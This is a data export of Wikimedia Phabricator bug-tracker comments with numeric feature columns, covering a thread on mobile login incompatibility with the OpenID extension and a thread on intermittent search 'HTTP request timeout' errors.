[[https://gerrit.wikimedia.org/r/231146]]",,,1441316635,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cxqxcmcth4iw62pm3rak,task_subcomment,,True,c2,3,False,,,105,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.4210526315789473,0.8947368421052632,"Change 231146 merged by jenkins-bot:
Use core login form

[[GERRIT_URL]]"
520652,Mobile login not compatible with OpenID,"I'm not sure, if the merged change will solve this task, but it would open the way for OpenID (and probably other extensions) to add links/fields to the login page instaed (or in addition) to personal tools.",,,1441316157,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-cxqxcmcth4iw62pm3rak,task_subcomment,,True,c2,3,False,,,105,True,0.0,0.0,0.0,0.0,2.0,9.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,4.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,4.0,2.0,6.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0,13.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6382978723404253,0.851063829787234,"I'm not sure, if the merged change will solve this task, but it would open the way for OpenID (and probably other extensions) to add links/fields to the login page instaed (or in addition) to personal tools."
507109,Mobile login not compatible with OpenID,"^ this change will not solve the task, iirc? The OpenID extension adds a new link to the personal tools, right? The personal tools will not show with this change. Maybe someone, who is more familar with the extension, can clarify if this change will help? :)",,,1439422586,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-cxqxcmcth4iw62pm3rak,task_subcomment,,True,c2,3,False,,,102,True,0.0,2.0,0.0,0.0,4.0,9.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,5.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,7.0,2.0,0.0,16.0,0.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,3.8545454545454545,0.6545454545454545,"^ this change will not solve the task, iirc? The OpenID extension adds a new link to the personal tools, right? The personal tools will not show with this change. Maybe someone, who is more familar with the extension, can clarify if this change will help? :)"
507056,Mobile login not compatible with OpenID,"Change 231146 had a related patch set uploaded (by Jdlrobson):
Use core login form

[[https://gerrit.wikimedia.org/r/231146]]
",,,1439419397,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cxqxcmcth4iw62pm3rak,task_subcomment,,True,c2,3,False,,,102,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.625,0.875,"Change 231146 had a related patch set uploaded (by Jdlrobson):
Use core login form

[[GERRIT_URL]]
"
401726,Mobile login not compatible with OpenID,This should be working in alpha now. If it's not we will need to tweak the #MediaWiki-extensions-OpenID; extension. Is anyone able to test this? I'm happy to help.,,,1421779715,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-cxqxcmcth4iw62pm3rak,task_subcomment,,True,c2,3,False,,,72,True,0.0,2.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,5.0,0.0,5.0,12.0,2.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,15.0,2.0,0.0,8.0,0.0,0.0,0.0,2.0,12.0,0.0,0.0,0.0,8.0,12.0,5.0,2.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.4,0.875,This should be working in alpha now. If it's not we will need to tweak the #MediaWiki-extensions-OpenID; extension. Is anyone able to test this? I'm happy to help.
237082,Mobile login not compatible with OpenID,"Change 142874 abandoned by Florianschmidtwelzow:
Allow extensions to add Content as header on mobile login page

Reason:
better would be working on moving away from ""own"" login page (which would have this ""feature"" already).

https://gerrit.wikimedia.org/r/142874",,,1410212902,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cxqxcmcth4iw62pm3rak,task_subcomment,,True,c2,3,False,,,53,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,12.0,8.0,0.0,8.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,2.0,0.0,0.0,4.291666666666667,0.7916666666666666,"Change 142874 abandoned by Florianschmidtwelzow:
Allow extensions to add Content as header on mobile login page

Reason:
better would be working on moving away from ""own"" login page (which would have this ""feature"" already).

GERRIT_URL"
237077,Mobile login not compatible with OpenID,"Added this bug as reference, because the ps comes as an ""idea"" from here :)",,,1404046925,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-cxqxcmcth4iw62pm3rak,task_subcomment,,True,c2,3,False,,,43,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,6.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.388888888888889,0.8888888888888888,"Added this bug as reference, because the ps comes as an ""idea"" from here :)"
237075,Mobile login not compatible with OpenID,"Change 142874 had a related patch set uploaded by Florianschmidtwelzow:
Allow extensions to add Content as header on mobile login page

https://gerrit.wikimedia.org/r/142874",,,1404046874,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cxqxcmcth4iw62pm3rak,task_subcomment,,True,c2,3,False,,,43,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,20.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,16.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,5.08,1.0,"Change 142874 had a related patch set uploaded by Florianschmidtwelzow:
Allow extensions to add Content as header on mobile login page

GERRIT_URL"
237069,Mobile login not compatible with OpenID,"Ah, sorry, now i see the problem :) Not a header in logging in page, the link after ""Login"" in personal tools. Isn't this more a duplicate of:
https://bugzilla.wikimedia.org/show_bug.cgi?id=63459
? Because mobile frontend uses no personal tool urls in this way like desktop.",,,1404045833,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-cxqxcmcth4iw62pm3rak,task_subcomment,,True,c2,3,False,,,43,True,0.0,0.0,0.0,0.0,4.0,9.0,2.0,2.0,0.0,0.0,7.0,2.0,2.0,0.0,0.0,2.0,0.0,6.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,11.0,2.0,0.0,13.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,15.0,2.0,2.0,4.0,0.0,2.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,0.0,3.425925925925926,0.7777777777777778,"Ah, sorry, now i see the problem :) Not a header in logging in page, the link after ""Login"" in personal tools. Isn't this more a duplicate of:
URL
? Because mobile frontend uses no personal tool urls in this way like desktop."
237064,Mobile login not compatible with OpenID,"Created attachment 15712
Example with google and facebookloginbutton

**Attached**: {F11267}",,,1403624174,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-cxqxcmcth4iw62pm3rak,task_subcomment,,True,c2,3,False,,,42,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.473684210526316,0.8421052631578947,"Created attachment 15712
Example with google and facebookloginbutton

**Attached**: {F11267}"
237058,Mobile login not compatible with OpenID,"The header elements are given in data array as 'header', so the easiest way is, to create a new div, ahead of username and password and add the content of header. I think, for consistency, this is still wanted? :)

Example with Googlelogin and Facebookloginbutton in attachement :)",,,1403624155,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-cxqxcmcth4iw62pm3rak,task_subcomment,,True,c2,3,False,,,42,True,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,2.0,0.0,5.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,7.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,21.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,9.0,0.0,5.0,9.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,14.0,3.0,2.0,3.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,4.051724137931035,0.7586206896551724,"The header elements are given in data array as 'header', so the easiest way is, to create a new div, ahead of username and password and add the content of header. I think, for consistency, this is still wanted? :)

Example with Googlelogin and Facebookloginbutton in attachement :)"
237053,Mobile login not compatible with OpenID,"The basic measurement is still: would a task like this take 2-3 hours of work from an experienced contributor like you?

There should be also a plan declared to fix this problem, for instance whether the fix should be in OpenID or MobileFrontend.",,,1387914716,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-cxqxcmcth4iw62pm3rak,task_subcomment,,True,c2,3,False,,,16,True,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,16.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,6.0,8.0,2.0,2.0,14.0,0.0,0.0,0.0,0.0,6.0,0.0,4.0,0.0,2.0,16.0,4.0,2.0,0.0,0.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.1,0.88,"The basic measurement is still: would a task like this take 2-3 hours of work from an experienced contributor like you?

There should be also a plan declared to fix this problem, for instance whether the fix should be in OpenID or MobileFrontend."
237048,Mobile login not compatible with OpenID,Andre / Quim - although a little hard this might be a fun task for Google Code in 2013? Thoughts?,,,1387911802,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-cxqxcmcth4iw62pm3rak,task_subcomment,,True,c2,3,False,,,16,True,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,23.0,5.0,0.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,14.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.5454545454545454,0.9090909090909091,Andre / Quim - although a little hard this might be a fun task for Google Code in 2013? Thoughts?
53096,"Error during search ""HTTP request timeout""","I dont know wheter this is a bug on Wikimedia side or on my side, but recently at Wikimedia projects I get sometimes following statment when browsing:

""Při hledání došlo k chybě: Čas pro HTTP požadavek vypršel.""

It sais that during search the bug was detected: HTTP request timeout.

--------------------------
**Version**: wmf-deployment
**Severity**: minor",Low,25.0,1373439660,1395463718.0,PHID-USER-vm462i2ffbawnuo4mh3n,False,,False,PHID-TASK-izo5s7v4lhf4partpmsl,task_description,declined,True,c2,1,False,False,False,-7,True,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,0.0,19.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,2.0,2.0,14.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,5.0,8.0,10.0,0.0,2.0,0.0,5.0,0.0,1.0,1.0,0.0,2.0,0.0,0.0,1.0,3.9,0.725,"I dont know wheter this is a bug on Wikimedia side or on my side, but recently at Wikimedia projects I get sometimes following statment when browsing:

""Při hledání došlo k chybě: Čas pro HTTP požadavek vypršel.""

It sais that during search the bug was detected: HTTP request timeout.

--------------------------
**Version**: wmf-deployment
**Severity**: minor"
253065,"Error during search ""HTTP request timeout""","(In reply to Juan de Vojníkov from comment #0)
> I dont know wheter this is a bug on Wikimedia side or on my side, but
> recently at Wikimedia projects I get sometimes following statment when
> browsing:
> 
> ""Při hledání došlo k chybě: Čas pro HTTP požadavek vypršel.""
> 
> It sais that during search the bug was detected: HTTP request timeout.

That'd be an issue in lsearchd, which is being replaced as quickly as it can be. lsearchd is end of life'd at WMF, so this bug is a WONTFIX I'm afraid (since it's fixed by default with the new search)

You can avoid this problem *right now* by opting in to the new search via your beta features.",,,1395463718,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-izo5s7v4lhf4partpmsl,task_subcomment,,True,c2,3,True,,,29,True,0.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,1.0,0.0,4.0,15.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,5.0,0.0,2.0,2.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,13.0,1.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,6.0,15.0,2.0,0.0,7.0,0.0,0.0,0.0,1.0,3.0,0.0,1.0,0.0,5.0,15.0,9.0,0.0,0.0,0.0,5.0,0.0,2.0,2.0,0.0,1.0,0.0,0.0,1.0,3.3092783505154637,0.6701030927835051,"(In reply to Juan de Vojníkov from comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

That'd be an issue in lsearchd, which is being replaced as quickly as it can be. lsearchd is end of life'd at WMF, so this bug is a WONTFIX I'm afraid (since it's fixed by default with the new search)

You can avoid this problem *right now* by opting in to the new search via your beta features."
253061,"Error during search ""HTTP request timeout""","(In reply to Juan de Vojníkov from comment #9)
> (In reply to Andre Klapper from comment #5)
> > Tried the same and got ""There are no pages or files in this category."", plus
> > did not take 10 seconds.
> > 
> > > *tracert: request time out at IP between 84.233.190.1 and 91.198.174.224
> > 
> > Full output could be helpful.
> 
> What do you mean by full output?

I don't think that'd be helpful. Report is HTTP timeout on the WMF side (From the mediawiki servers -> the search servers), user's tracert probably won't say anything useful.

Message in question is 'search-error'",,,1395444842,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-izo5s7v4lhf4partpmsl,task_subcomment,,True,c2,3,False,,,29,True,0.0,1.0,0.0,0.0,2.0,2.0,1.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,1.0,0.0,4.0,8.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,1.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,18.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,4.0,4.0,22.0,0.0,0.0,5.0,0.0,0.0,0.0,1.0,4.0,0.0,1.0,0.0,1.0,8.0,15.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.4375,0.65,"(In reply to Juan de Vojníkov from comment #9)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I don't think that'd be helpful. Report is HTTP timeout on the WMF side (From the mediawiki servers -> the search servers), user's tracert probably won't say anything useful.

Message in question is 'search-error'"
253058,"Error during search ""HTTP request timeout""","(In reply to Andre Klapper from comment #5)
> Tried the same and got ""There are no pages or files in this category."", plus
> did not take 10 seconds.
> 
> > *tracert: request time out at IP between 84.233.190.1 and 91.198.174.224
> 
> Full output could be helpful.

What do you mean by full output?",,,1395444197,,PHID-USER-vm462i2ffbawnuo4mh3n,False,,,PHID-TASK-izo5s7v4lhf4partpmsl,task_subcomment,,True,c2,3,False,,,29,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,3.0,12.0,19.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.125,0.6875,"(In reply to Andre Klapper from comment #5)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

What do you mean by full output?"
253054,"Error during search ""HTTP request timeout""",I have tested the previous two URLs and its not happening to me. But could developers determine if this would be a problem on the Wikimedia site or on our site?,,,1395444112,,PHID-USER-vm462i2ffbawnuo4mh3n,False,,,PHID-TASK-izo5s7v4lhf4partpmsl,task_subcomment,,True,c2,3,False,,,29,True,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,12.0,3.0,9.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,12.0,12.0,3.0,3.0,0.0,0.0,12.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,3.9393939393939394,0.9090909090909091,I have tested the previous two URLs and its not happening to me. But could developers determine if this would be a problem on the Wikimedia site or on our site?
253052,"Error during search ""HTTP request timeout""","**rybec** wrote:

Here's another URL which has consistently resulted in the error:
https://en.wikipedia.org/w/index.php?title=Special%3ASearch&profile=help&search=npov+noticeboard&fulltext=Search",,,1395300135,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-izo5s7v4lhf4partpmsl,task_subcomment,,True,c2,3,False,,,29,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4545454545454546,0.7727272727272727,"**rybec** wrote:

Here's another URL which has consistently resulted in the error:
URL"
253046,"Error during search ""HTTP request timeout""","**rybec** wrote:

These URLs

https://en.wikipedia.org/w/index.php?title=Special%3ASearch&profile=help&search=%22take+over%22&fulltext=Search

https://en.wikipedia.org/w/index.php?title=Special%3ASearch&profile=help&search=account+take-over&fulltext=Search

consistently result in ""An error has occurred while searching: HTTP request timed out.""",,,1393447480,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-izo5s7v4lhf4partpmsl,task_subcomment,,True,c2,3,False,,,26,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,19.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.53125,0.71875,"**rybec** wrote:

These URLs

URL

URL

consistently result in ""An error has occurred while searching: HTTP request timed out."""
253042,"Error during search ""HTTP request timeout""","Tried the same and got ""There are no pages or files in this category."", plus did not take 10 seconds.

> *tracert: request time out at IP between 84.233.190.1 and 91.198.174.224

Full output could be helpful.",,,1375791945,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-izo5s7v4lhf4partpmsl,task_subcomment,,True,c2,2,True,,,-4,True,0.0,0.0,0.0,0.0,3.0,9.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,18.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,12.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.411764705882353,0.8823529411764706,"Tried the same and got ""There are no pages or files in this category."", plus did not take 10 seconds.

QUOTE

Full output could be helpful."
253037,"Error during search ""HTTP request timeout""","Another example. At Wikimedia Commons, I typed to search window nonexistent category ""category:AC-83"" and pressed enter. After some time same page and same error message as previously stated.

Technical details:
*Br: FF 22.0
*Page got in: 10.162 secs.
*Connection: 2/16 Mbit, real at time 1.6/19.7, higher latency
*tracert: request time out at IP between 84.233.190.1 and 91.198.174.224
*status.wikimedia.org: service disruption at Inciga, performence level 12 for Czech Republic",,,1375681818,,PHID-USER-vm462i2ffbawnuo4mh3n,False,,,PHID-TASK-izo5s7v4lhf4partpmsl,task_subcomment,,True,c2,2,False,,,-4,True,1.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,11.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,0.0,1.0,11.0,13.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.309278350515464,0.7010309278350515,"Another example. At Wikimedia Commons, I typed to search window nonexistent category ""category:AC-83"" and pressed enter. After some time same page and same error message as previously stated.

Technical details:
*Br: FF 22.0
*Page got in: 10.162 secs.
*Connection: 2/16 Mbit, real at time 1.6/19.7, higher latency
*tracert: request time out at IP between 84.233.190.1 and 91.198.174.224
*status.wikimedia.org: service disruption at Inciga, performence level 12 for Czech Republic"
